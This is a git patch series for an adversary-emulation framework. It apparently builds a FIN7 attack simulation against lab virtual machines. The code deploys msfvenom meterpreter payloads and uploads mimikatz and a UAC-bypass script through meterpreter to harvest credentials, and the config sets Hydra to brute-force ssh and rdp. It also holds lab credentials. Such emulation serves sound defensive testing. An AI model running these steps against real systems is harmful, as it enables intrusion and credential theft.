From 3a87df3aed5867b298a983f54b97cafaacd58dbd Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Fri, 18 Jun 2021 09:42:50 +0200 Subject: [PATCH 1/6] Updated shipit to als add resources in plugin sub folders --- tools/shipit.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/shipit.py b/tools/shipit.py index 78a39bf..15ffe10 100755 --- a/tools/shipit.py +++ b/tools/shipit.py @@ -40,7 +40,8 @@ globs = ["TODO.md", "plugins/default/*/*/*.py", "plugins/default/*/*/*.txt", "plugins/default/*/*/*.md", - "plugins/default/*/*/*.exe", + "plugins/default/*/**/*.exe", + "plugins/default/*/**/*.ps1", "plugins/default/*/*/*.yaml", "plugins/default/*/*/*.dll", "plugins/default/*/*/*.dll_*", From a9226eab1f43893404351de95f1876a9f62473c2 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Fri, 18 Jun 2021 09:43:10 +0200 Subject: [PATCH 2/6] Added experiment yaml for FIN7 experiments --- doc/source/usage/caldera_control_cli.rst | 0 .../FIN7/local_experiment_config.yaml | 171 ++++++++++++++++++ 2 files changed, 171 insertions(+) delete mode 100644 doc/source/usage/caldera_control_cli.rst create mode 100644 plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml diff --git a/doc/source/usage/caldera_control_cli.rst b/doc/source/usage/caldera_control_cli.rst deleted file mode 100644 index e69de29..0000000 diff --git a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml new file mode 100644 index 0000000..f2bebc8 --- /dev/null +++ b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml @@ -0,0 +1,171 @@ + +### +# Caldera configuration +caldera: + ### + # API key for caldera. See caldera configuration. Default is ADMIN123 + apikey: ADMIN123 + +### +# Attacks configuration +attackers: + ### + # Configuration for the first attacker. One should normally be enough + attacker: + + ### + # Defining VM controller settings for this machine + vm_controller: + ### + # Type of the VM controller, Options are "vagrant" + type: vagrant + ### + # # path where the vagrantfile is in + vagrantfilepath: systems + + ### + # Name of machine in Vagrantfile + vm_name: attacker + + ### + # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path + # and will be mounted internally as /vagrant/ + # If machinepath is not set PurpleDome will try "vm_name" + machinepath: attacker1 + + ### + # OS of the VM guest. Options are so far "windows", "linux" + os: linux + + ### + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + +### +# List of targets +targets: + + target2: + #root: systems/target1 + vm_controller: + type: vagrant + vagrantfilepath: systems + + ### + # simple switch if targets is used in attack simulation. Default is true. If set to false the machine will not be started + active: yes + + vm_name: target2 + os: windows + paw: target2w + group: red_windows + + machinepath: target2w + + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + ### + # Optional setting to activate force when halting the machine. Windows guests sometime get stuck + halt_needs_force: yes + + ### + # If SSH without vagrant support is used (Windows !) we need a user name (uppercase) + ssh_user: ATTACKX + + ### + # If SSH without vagrant support is used (Windows !) we maybe need a password + ssh_password: AttackX + + ### + # For non-vagrant ssh connections a ssh keyfile stored in the machinepath is required. + ssh_keyfile: systems/target2w/id_rsa.3 + + ### + # The folder all the implants will be installed into + # Windows can only use default playground at the moment ! + # playground: C:\\Users\\AttackX + + # Sensors to run on this machine + sensors: + - windows_idp + + vulnerabilities: + - weak_user_passwords + - rdp_config_vul + + +### +# General sensor config config +sensors: + ### + # Windows IDP plugin configuration + windows_idp: + ### + # Name of the dll to use. Must match AV version + # dll_name: aswidptestdll.dll + dll_name: aswidptestdll.dll_21_1_B + + ### + # Folder where the IDP tool is located + idp_tool_folder: C:\\capture + +### +# General attack config +attacks: + ### + # configure the seconds the system idles between the attacks. Makes it slower. But attack and defense logs will be simpler to match + nap_time: 5 + + +### +# Configuration for caldera +caldera_conf: + ### + # The obfuscator to use between the implant and the server. Not all obfuscators are supported by all implants. Existing obfuscators: + # plain-text, base64, base64jumble, caesar, base64noPadding, steganography + obfuscator: plain-text + + ### + # Jitter settings for the implant. it is min/max seconds. The first number has to be smaller. Default is 4/8 + jitter: 4/8 + + + +### +# Kali tool based attacks. Will result in kali commandline tools to be called. Currently supported are: "hydra" +kali_attacks: + ### + # Linux specific attacks, a list + linux: + ### + # Windows specific attacks, a list + windows: + - fin7_1 + +### +# Configuration for the kali attack tools +kali_conf: + ### + # Hydra configuration + hydra: + ### + # A list of protocols to brute force against. Supported: "ssh" + protocols: + - ssh + - rdp + #- ftps + ### + # A file containing potential user names + userfile: users.txt + ### + # A file containing potential passwords + pwdfile: passwords.txt + nmap: + + +### +# Settings for the results being harvested +results: + ### + # The directory the loot will be in + loot_dir: loot From c190bcf0909aa4e7349f7cb6e9104eed378f2192 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Fri, 18 Jun 2021 09:43:47 +0200 Subject: [PATCH 3/6] Adjusted retries in metasploit --- app/metasploit.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/app/metasploit.py b/app/metasploit.py index fa04a6c..cdaafff 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -122,18 +122,17 @@ class Metasploit(): # print(f"Session ID: {session_id}") shell = self.client.sessions.session(session_id) res = [] - time.sleep(1) + time.sleep(1) # To ensure an active session for cmd in cmds: shell.write(cmd) time.sleep(delay) - retries = 10 + retries = 20 + r = "" while retries > 0: - r = shell.read() + r += shell.read() time.sleep(0.5) # Command needs time to execute retries -= 1 - if len(r) > 0: - res.append(r) - break + res.append(r) return res @@ -242,7 +241,6 @@ class MSFVenom(): if self.attack_logger: self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) - # TODO run on target if self.target.get_os() == "linux": if self.target.get_playground() is not None: cmd = f"cd {self.target.get_playground()};" From 9186556d3c2431af6af245194f841d1e7bd8a219 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Fri, 18 Jun 2021 09:43:58 +0200 Subject: [PATCH 4/6] typo fix --- plugins/default/adversary_emulations/FIN7/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/default/adversary_emulations/FIN7/README.md b/plugins/default/adversary_emulations/FIN7/README.md index ab8e0f9..bf40536 100644 --- a/plugins/default/adversary_emulations/FIN7/README.md +++ b/plugins/default/adversary_emulations/FIN7/README.md @@ -43,7 +43,7 @@ Windows 10, Build 18363 ## 3 accounting -Hast the valuables +Has the valuables Windows 10, 18363 From d36cd2896d2637dea140599ece79eeac1f416e1e Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Fri, 18 Jun 2021 10:52:07 +0200 Subject: [PATCH 5/6] supporting nicknames for target machines. Those can be used to identify machines in complex attack simulations --- app/machinecontrol.py | 5 + plugins/base/attack.py | 22 ++- .../FIN7/fin7_section1.py | 96 +++++----- .../FIN7/local_experiment_config.yaml | 4 + template.yaml | 25 +++ tests/data/attacker_has_empty_nicknames.yaml | 174 ++++++++++++++++++ tests/test_config.py | 15 ++ 7 files changed, 297 insertions(+), 44 deletions(-) create mode 100644 tests/data/attacker_has_empty_nicknames.yaml diff --git a/app/machinecontrol.py b/app/machinecontrol.py index fe24bb3..bc0b8e0 100644 --- a/app/machinecontrol.py +++ b/app/machinecontrol.py @@ -324,6 +324,11 @@ class Machine(): return self.config.vmname() + def get_nicknames(self): + """ Returns the machine name """ + + return self.config.get_nicknames() + def get_playground(self): """ Return this machine's playground """ diff --git a/plugins/base/attack.py b/plugins/base/attack.py index 206bb0e..ada0854 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -2,7 +2,7 @@ """ Base class for Kali plugins """ from plugins.base.plugin_base import BasePlugin -from app.exceptions import PluginError +from app.exceptions import PluginError, ConfigurationError from app.calderacontrol import CalderaControl # from app.metasploit import MSFVenom, Metasploit import os @@ -139,7 +139,7 @@ class AttackPlugin(BasePlugin): def __execute__(self, targets): """ Execute the plugin. This is called by the code - @param targets: A list of targets, ip addresses will do + @param targets: A list of targets => machines """ self.targets = targets @@ -164,3 +164,21 @@ class AttackPlugin(BasePlugin): return self.references raise NotImplementedError + + def get_target_by_name(self, name): + """ Returns a target machine out of the target pool by matching the name + If there is no matching name it will look into the "nicknames" list of the machine config + + @param name: The name to match for + @returns: the machine + """ + + for t in self.targets: + if t.get_name() == name: + return t + + for t in self.targets: + if name in t.get_nicknames(): + return t + + raise ConfigurationError(f"No matching machine in experiment config for {name}") diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 335eb33..59ebd38 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -64,39 +64,41 @@ class FIN7Plugin(AttackPlugin): # TODO: Make sure logging is nice and complete + hotelmanager = self.get_target_by_name("hotelmanager") + # WMI queries https://attack.mitre.org/techniques/T1057/ # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()}) + self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()}) # check for sandbox https://attack.mitre.org/techniques/T1497/ # The documentation does not define how it is checking exactly. self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81") + self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81") # query username https://attack.mitre.org/techniques/T1033/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: query computername https://attack.mitre.org/techniques/T1082/ # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) - # self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + # self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17") + self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17") # System Info discovery https://attack.mitre.org/techniques/T1082/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8") + self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8") + self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8") # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( @@ -116,6 +118,7 @@ class FIN7Plugin(AttackPlugin): # Uploaded stager creates meterpreter shell (babymetal) # Generate payload: + hotelmanager = self.get_target_by_name("hotelmanager") payload_name = "babymetal.exe" # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see: @@ -125,7 +128,7 @@ class FIN7Plugin(AttackPlugin): # -f C : output is c code # --encrypt xor : xor encrypt the results # --encrypt-key m : the encryption key - venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger) + venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) venom.generate_and_deploy(payload=self.payload_type_1, architecture="x64", platform="windows", @@ -153,7 +156,7 @@ class FIN7Plugin(AttackPlugin): # metasploit1 = self.get_metasploit_1() # print("Got session, calling command") - # print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0])) + # print(metasploit.meterpreter_execute_on(["getuid"], hotelmanager)) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) @@ -162,53 +165,62 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) + hotelmanager = self.get_target_by_name("hotelmanager") + # This is meterpreter ! metasploit = self.get_metasploit_1() # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["ps -ax"], self.targets[0])) + print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["arp"], self.targets[0])) + print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ - # TODO: Add real ip - itadmin = "127.0.0.1" - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], self.targets[0])) + # TODO: Add real ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error + # itadmin = "127.0.0.1" + # self.attack_logger.vprint( + # f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) + # print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) # Copy step 5 attack tools to attacker - # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ - # tplayground = self.targets[0].get_playground() - # aplayground = self.attacker_machine_plugin.get_playground() or "" - self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") - self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") - cmd = "upload samcat.exe 'samcat.exe' " - print(cmd) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) - - cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " - print(cmd) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) - - # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ - execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" - print(execute_samcats) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([execute_samcats], self.targets[0], delay=20)) - # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once + use_mimikatz = True # TODO: Read this from config + if use_mimikatz: + # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ + # tplayground = hotelmanager.get_playground() + # aplayground = self.attacker_machine_plugin.get_playground() or "" + self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") + self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") + print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10)) + cmd = "upload samcat.exe 'samcat.exe' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " + print(cmd) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + + cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " + print(cmd) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + + # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ + execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" + print(execute_samcats) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) + # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ + print("Verify we are still connected") + print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) @@ -221,7 +233,7 @@ class FIN7Plugin(AttackPlugin): # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # spawn powershell through cmd # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ - # paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ + # paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # => Lateral move to itadmin # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # svchost starts data exchange @@ -300,7 +312,7 @@ class FIN7Plugin(AttackPlugin): self.step1() self.step2() - # self.step3() # Done and works + self.step3() # Done and works self.step4() self.step5() self.step6() diff --git a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml index f2bebc8..34a449a 100644 --- a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml +++ b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml @@ -56,6 +56,10 @@ targets: active: yes vm_name: target2 + + nicknames: + - hotelmanager + os: windows paw: target2w group: red_windows diff --git a/template.yaml b/template.yaml index f9237cf..e487c62 100644 --- a/template.yaml +++ b/template.yaml @@ -27,6 +27,11 @@ attackers: # Name of machine in Vagrantfile vm_name: attacker + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "suspect 1" + ### # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path # and will be mounted internally as /vagrant/ @@ -56,6 +61,12 @@ targets: active: no vm_name: target1 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "web server" + os: linux ### # Targets need a unique PAW name for caldera @@ -87,6 +98,13 @@ targets: active: no vm_name: target2 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "t2" + - "practice target" + os: windows paw: target2w @@ -144,6 +162,13 @@ targets: active: yes vm_name: target3 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "red shirt" + - "the flag" + os: linux ### # Targets need a unique PAW name for caldera diff --git a/tests/data/attacker_has_empty_nicknames.yaml b/tests/data/attacker_has_empty_nicknames.yaml new file mode 100644 index 0000000..cc42c98 --- /dev/null +++ b/tests/data/attacker_has_empty_nicknames.yaml @@ -0,0 +1,174 @@ + +### +# Caldera configuration +caldera: + ### + # API key for caldera. See caldera configuration. Default is ADMIN123 + apikey: ADMIN123 + +### +# Attacks configuration +attackers: + ### + # Configuration for the first attacker. One should normally be enough + attacker: + + ### + # Defining VM controller settings for this machine + vm_controller: + ### + # Type of the VM controller, Options are "vagrant" + type: vagrant + ### + # # path where the vagrantfile is in + vagrantfilepath: systems + + # Empty for a reason. It is being tested + nicknames: + + ### + # Name of machine in Vagrantfile + vm_name: attacker + + ### + # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path + # and will be mounted internally as /vagrant/ + # If machinepoath is not set AttackX will try "vm_name" + machinepath: attacker1 + + ### + # OS of the VM guest. Options are so far "windows", "linux" + os: linux + + ### + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + +### +# List of targets +targets: + ### + # Specific target + target1: + vm_controller: + type: vagrant + vagrantfilepath: systems + + vm_name: target1 + + # Used for tests + nicknames: + - 1 + - 2 + - 3 + + os: linux + ### + # Targets need a unique PAW name for caldera + paw: target1 + ### + # Targets need to be in a group for caldera + group: red + + machinepath: target1 + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + + target2: + #root: systems/target1 + vm_controller: + type: vagrant + vagrantfilepath: systems + + vm_name: target2 + os: windows + paw: target2w + group: red + + machinepath: target2w + + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + ### + # Optional setting to activate force when halting the machine. Windows guests sometime get stuck + halt_needs_force: yes + + ### + # If SSH without vagrant support is used (Windows !) we need a user name (uppercase) + ssh_user: ATTACKX + + ### + # For non-vagrant ssh connections a ssh keyfile stored in the machinepath is required. + ssh_keyfile: id_rsa.3 + +### +# General attack config +attacks: + ### + # configure the seconds the system idles between the attacks. Makes it slower. But attack and defense logs will be simpler to match + nap_time: 5 + +### +# A list of caldera attacks to run against the targets. +caldera_attacks: + ### + # Linux specific attacks. A list of caldera ability IDs + linux: + - "bd527b63-9f9e-46e0-9816-b8434d2b8989" + ### + # Windows specific attacks. A list of caldera ability IDs + windows: + - "bd527b63-9f9e-46e0-9816-b8434d2b8989" + +### +# Kali tool based attacks. Will result in kali commandline tools to be called. Currently supported are: "hydra" +kali_attacks: + ### + # Linux specific attacks, a list + linux: + - hydra + ### + # Windows specific attacks, a list + windows: + - hydra + +### +# Configuration for the kali attack tools +kali_conf: + ### + # Hydra configuration + hydra: + ### + # A list of protocols to brute force against. Supported: "ssh" + protocols: + - ssh + #- ftp + #- ftps + ### + # A file containing potential user names + userfile: users.txt + ### + # A file containing potential passwords + pwdfile: passwords.txt + +### +# Settings for the results being harvested +results: + ### + # The directory the loot will be in + loot_dir: loot + +### +# General sensor config config +sensors: + ### + # Windows sensor plugin configuration + windows_sensor: + ### + # Name of the dll to use. Must match AV version + # dll_name: aswidptestdll.dll + dll_name: windows_sensor.dll + + ### + # Folder where the sensor tool is located + sensor_tool_folder: windows_sensor \ No newline at end of file diff --git a/tests/test_config.py b/tests/test_config.py index 23f3db2..35ea34d 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -546,6 +546,21 @@ class TestExperimentConfig(unittest.TestCase): self.assertEqual(ex.attackers()[0].vmname(), "attacker") self.assertEqual(ex.attacker(0).vmname(), "attacker") + def test_nicknames_missing(self): + """ Test when the machine nicknames are non existing """ + ex = ExperimentConfig("tests/data/basic.yaml") + self.assertEqual(ex._attackers[0].get_nicknames(), []) + + def test_nicknames_present_but_empty(self): + """ Test when the machine nicknames are empty """ + ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml") + self.assertEqual(ex._attackers[0].get_nicknames(), []) + + def test_nicknames_present(self): + """ Test when the machine nicknames are there """ + ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml") + self.assertEqual(ex._targets[0].get_nicknames(), [1, 2, 3]) + def test_missing_kali_config(self): """ Getting kali config for a specific attack. Attack missing """ From 9a25537e99bdb19a76ab564867cd88644fe0433b Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Mon, 21 Jun 2021 07:54:31 +0200 Subject: [PATCH 6/6] Added Metasploit exception. --- app/config.py | 8 ++++++++ app/exceptions.py | 4 ++++ app/metasploit.py | 12 ++++++++++-- .../adversary_emulations/FIN7/fin7_section1.py | 17 +++++++++-------- .../FIN7/local_experiment_config.yaml | 2 ++ 5 files changed, 33 insertions(+), 10 deletions(-) diff --git a/app/config.py b/app/config.py index b8bbb53..27d978d 100644 --- a/app/config.py +++ b/app/config.py @@ -50,6 +50,14 @@ class MachineConfig(): return self.raw_config["vm_name"] + def get_nicknames(self): + """ Gets the nicknames """ + + if "nicknames" in self.raw_config: + return self.raw_config["nicknames"] or [] + + return [] + def vmcontroller(self): """ Returns the vm controller. lowercase """ diff --git a/app/exceptions.py b/app/exceptions.py index 12f02fc..e8c764f 100644 --- a/app/exceptions.py +++ b/app/exceptions.py @@ -20,3 +20,7 @@ class CalderaError(Exception): class NetworkError(Exception): """ Network connection (like ssh) can not be established """ + + +class MetasploitError(Exception): + """ Metasploit had an error """ diff --git a/app/metasploit.py b/app/metasploit.py index cdaafff..5e5eab2 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -6,6 +6,7 @@ from app.attack_log import AttackLog from app.interface_sfx import CommandlineColors import time import socket +from app.exceptions import MetasploitError import os @@ -79,7 +80,14 @@ class Metasploit(): """ # Get_ip can also return a network name. Matching a session needs a real ip - ip = socket.gethostbyname(target.get_ip()) + name_resolution_worked = True + try: + ip = socket.gethostbyname(target.get_ip()) + except socket.gaierror: + ip = target.get_ip() # Limp on feature if we can not get a name resolution + name_resolution_worked = False + print(f"Name resolution for {target.get_ip()} failed. Sessions are: {self.get_client().sessions.list}") + # TODO: Try to get the ip address from kali system retries = 100 while retries > 0: @@ -90,7 +98,7 @@ class Metasploit(): time.sleep(1) retries -= 1 - return None # TODO: Better error handlign as soon as we know where we use it + raise MetasploitError(f"Could not find session for {target.get_ip()} Name resolution worked: {name_resolution_worked}") def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str: """ Executes commands on the meterpreter, returns results read from shell diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 59ebd38..a9dae9e 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -128,6 +128,9 @@ class FIN7Plugin(AttackPlugin): # -f C : output is c code # --encrypt xor : xor encrypt the results # --encrypt-key m : the encryption key + + self.attacker_machine_plugin.remote_run("sudo apt install msfpc") # MSFVenom needs to be installed + venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) venom.generate_and_deploy(payload=self.payload_type_1, architecture="x64", @@ -179,11 +182,10 @@ class FIN7Plugin(AttackPlugin): f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ - # TODO: Add real ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error - # itadmin = "127.0.0.1" - # self.attack_logger.vprint( - # f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - # print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) + # TODO: Add a new machine in config as ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error + itadmin = self.get_target_by_name("itadmin") + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) # Copy step 5 attack tools to attacker @@ -215,7 +217,6 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) - # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ @@ -313,8 +314,8 @@ class FIN7Plugin(AttackPlugin): self.step1() self.step2() self.step3() # Done and works - self.step4() - self.step5() + self.step4() # Partial - with a hack + self.step5() # Done and quite ok self.step6() self.step7() self.step8() diff --git a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml index 34a449a..d1eace7 100644 --- a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml +++ b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml @@ -57,8 +57,10 @@ targets: vm_name: target2 + # TODO: itadmin must be moved to another target nicknames: - hotelmanager + - itadmin os: windows paw: target2w